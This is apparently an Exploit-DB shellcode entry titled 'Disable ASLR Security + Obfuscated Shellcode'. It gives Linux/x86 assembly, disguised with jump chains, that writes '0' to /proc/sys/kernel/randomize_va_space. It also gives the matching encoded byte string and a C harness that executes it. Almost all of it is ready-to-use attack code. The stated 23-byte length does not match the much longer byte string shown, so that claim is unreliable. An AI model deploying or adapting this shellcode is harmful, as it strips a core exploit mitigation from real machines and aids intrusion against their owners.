Linux/x86 - Disable ASLR Security + Obfuscated Shellcode (23 bytes)

EDB-ID:

43897

CVE:

N/A


Platform:

Linux_x86

Published:

2018-01-26

;Title   : Linux/x86 - Disable ASLR Security obfuscated shellcode - 23 bytes
;Date    : 24 Jan 2018
;Author  : 0xAlaufi <m.alaufi@protonmail.com>
;Tested on  : Linux/x86 (Ubuntu 12.04.5)

global _start			
section .text
_start:

jmp	zero2
zero18:
	mov al,0x4
	jmp	zero19
zero1a:
	mov al,0x6
	jmp	zero1b
zeroc:
	push 0x72702f2f
	jmp	zerod
zero12:
	push eax
	jmp	zero13
zero1b:
	int 0x80
	jmp	zero1c
zero1c:
	inc eax
	jmp	zero1d
zerod:
	mov ebx,esp
	jmp	zeroe
zero16:
	xor edx,edx
	jmp	zero17
zero5:
	push 0x735f6176
	jmp	zero6
zero19:
	int 0x80
	jmp	zero1a
zero7:
	push 0x6d6f646e
	jmp	zero8
zeroa:
	push 0x6b2f7379
	jmp	zerob
zero13:
	mov dx,0x3a30
	jmp	zero14
zero10:
	int 0x80
	jmp	zero11
zerob:
	push 0x732f636f
	jmp	zeroc
zero14:
	push dx
	jmp	zero15
zero4:
	push 0x65636170
	jmp	zero5
zero8:
	push 0x61722f6c
	jmp	zero9
zero9:
	push 0x656e7265
	jmp	zeroa
zero15:
	mov ecx,esp
	jmp	zero16
zero11:
	mov ebx,eax
	jmp	zero12
zero6:
	push 0x5f657a69
	jmp	zero7
zero2:
	xor eax,eax
	jmp	zero3
zero3:
	push eax
	jmp	zero4
zerof:
	mov al,0x8
	jmp	zero10
zeroe:
	mov cx,0x2bc
	jmp	zerof
zero17:
	inc edx
	jmp	zero18
zero1d:
	int 0x80
	jmp	zero1e
zero1e:


#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x73\xb0\x04\xeb\x24\xb0\x06\xeb\x0a\x68\x2f\x2f\x70\x72\xeb\x0a\x50\xeb\x28\xcd\x80\xeb\x00\x40\xeb\x71\x89\xe3\xeb\x61\x31\xd2\xeb\x63\x68\x76\x61\x5f\x73\xeb\x44\xcd\x80\xeb\xd8\x68\x6e\x64\x6f\x6d\xeb\x23\x68\x79\x73\x2f\x6b\xeb\x0a\x66\xba\x30\x3a\xeb\x0b\xcd\x80\xeb\x24\x68\x6f\x63\x2f\x73\xeb\xbd\x66\x52\xeb\x15\x68\x70\x61\x63\x65\xeb\xcb\x68\x6c\x2f\x72\x61\xeb\x00\x68\x65\x72\x6e\x65\xeb\xcf\x89\xe1\xeb\xb5\x89\xc3\xeb\xa3\x68\x69\x7a\x65\x5f\xeb\xb9\x31\xc0\xeb\x00\x50\xeb\xd5\xb0\x08\xeb\xc2\x66\xb9\xbc\x02\xeb\xf6\x42\xe9\x76\xff\xff\xff\xcd\x80\xeb\x00";
main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}